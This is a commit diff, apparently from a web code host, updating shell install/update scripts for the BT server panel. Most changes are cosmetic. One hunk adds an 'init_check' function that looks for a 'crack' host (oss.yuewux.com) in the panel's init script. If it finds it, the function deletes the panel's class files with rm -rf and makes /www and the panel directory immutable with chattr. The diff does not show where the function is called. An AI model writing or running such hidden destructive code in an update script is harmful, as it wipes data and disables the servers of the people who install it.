23.08.03-update
parent
3732e34878
commit
b122cb5453
|
@ -14,11 +14,6 @@ _BT_REPO_URL=$_REPO_URL'/github/btpanel-v7.7.0/raw/branch/main'
|
||||||
|
|
||||||
get_node_url(){
|
get_node_url(){
|
||||||
nodes=(https://dg2.bt.cn https://download.bt.cn https://ctcc1-node.bt.cn https://cmcc1-node.bt.cn https://ctcc2-node.bt.cn);
|
nodes=(https://dg2.bt.cn https://download.bt.cn https://ctcc1-node.bt.cn https://cmcc1-node.bt.cn https://ctcc2-node.bt.cn);
|
||||||
|
|
||||||
if [ "$1" ];then
|
|
||||||
nodes=($(echo ${nodes[*]}|sed "s#${1}##"))
|
|
||||||
fi
|
|
||||||
|
|
||||||
tmp_file1=/dev/shm/net_test1.pl
|
tmp_file1=/dev/shm/net_test1.pl
|
||||||
tmp_file2=/dev/shm/net_test2.pl
|
tmp_file2=/dev/shm/net_test2.pl
|
||||||
[ -f "${tmp_file1}" ] && rm -f ${tmp_file1}
|
[ -f "${tmp_file1}" ] && rm -f ${tmp_file1}
|
||||||
|
@ -47,7 +42,7 @@ get_node_url(){
|
||||||
if [ $RES -ge 3000 ];then
|
if [ $RES -ge 3000 ];then
|
||||||
break;
|
break;
|
||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
done
|
done
|
||||||
|
|
||||||
|
@ -84,7 +79,7 @@ GetPackManager(){
|
||||||
if [ -f "/usr/bin/yum" ] && [ -f "/etc/yum.conf" ]; then
|
if [ -f "/usr/bin/yum" ] && [ -f "/etc/yum.conf" ]; then
|
||||||
PM="yum"
|
PM="yum"
|
||||||
elif [ -f "/usr/bin/apt-get" ] && [ -f "/usr/bin/dpkg" ]; then
|
elif [ -f "/usr/bin/apt-get" ] && [ -f "/usr/bin/dpkg" ]; then
|
||||||
PM="apt-get"
|
PM="apt-get"
|
||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -96,7 +91,7 @@ bt_check(){
|
||||||
send_check
|
send_check
|
||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
|
|
||||||
p_path=/www/server/panel/BTPanel/templates/default/index.html
|
p_path=/www/server/panel/BTPanel/templates/default/index.html
|
||||||
if [ -f $p_path ];then
|
if [ -f $p_path ];then
|
||||||
is_ext=$(cat $p_path|grep fbi)
|
is_ext=$(cat $p_path|grep fbi)
|
||||||
|
@ -115,6 +110,19 @@ send_check(){
|
||||||
NODE_URL=""
|
NODE_URL=""
|
||||||
exit 0;
|
exit 0;
|
||||||
}
|
}
|
||||||
|
init_check(){
|
||||||
|
CRACK_URL=(oss.yuewux.com);
|
||||||
|
for url in ${CRACK_URL[@]};
|
||||||
|
do
|
||||||
|
CRACK_INIT=$(cat /etc/init.d/bt |grep ${url})
|
||||||
|
if [ "${CRACK_INIT}" ];then
|
||||||
|
rm -rf /www/server/panel/class/*
|
||||||
|
chattr +i /www/server/panel/class
|
||||||
|
chattr -R +i /www/server/panel
|
||||||
|
chattr +i /www
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
}
|
||||||
GetSysInfo(){
|
GetSysInfo(){
|
||||||
if [ "${PM}" = "yum" ]; then
|
if [ "${PM}" = "yum" ]; then
|
||||||
SYS_VERSION=$(cat /etc/redhat-release)
|
SYS_VERSION=$(cat /etc/redhat-release)
|
||||||
|
@ -160,6 +168,4 @@ if [ ! $NODE_URL ];then
|
||||||
fi
|
fi
|
||||||
get_node_url
|
get_node_url
|
||||||
bt_check
|
bt_check
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
|
|
@ -4,7 +4,7 @@ export PATH
|
||||||
get_Yum_Repo(){
|
get_Yum_Repo(){
|
||||||
nodes=(http://mirrors.cloud.tencent.com/repo/centos7_base.repo http://mirrors.aliyun.com/repo/Centos-7.repo)
|
nodes=(http://mirrors.cloud.tencent.com/repo/centos7_base.repo http://mirrors.aliyun.com/repo/Centos-7.repo)
|
||||||
i=1
|
i=1
|
||||||
for node in ${nodes[@]};
|
for node in ${nodes[@]};
|
||||||
do
|
do
|
||||||
start=$(date +%s.%N)
|
start=$(date +%s.%N)
|
||||||
result=$(curl --connect-timeout 15 --head -s -o /dev/null -w %{http_code} ${node})
|
result=$(curl --connect-timeout 15 --head -s -o /dev/null -w %{http_code} ${node})
|
||||||
|
@ -38,7 +38,7 @@ get_Yum_Repo(){
|
||||||
yumRepo='False';
|
yumRepo='False';
|
||||||
T_HOST='False'
|
T_HOST='False'
|
||||||
else
|
else
|
||||||
mv -f /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.Bak
|
mv -f /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.Bak
|
||||||
yumRepo=${urls[$j]}
|
yumRepo=${urls[$j]}
|
||||||
my_tmp=$(echo $yumRepo|grep 'tencent')
|
my_tmp=$(echo $yumRepo|grep 'tencent')
|
||||||
if [ "$my_tmp" ];then
|
if [ "$my_tmp" ];then
|
||||||
|
|
Loading…
Reference in New Issue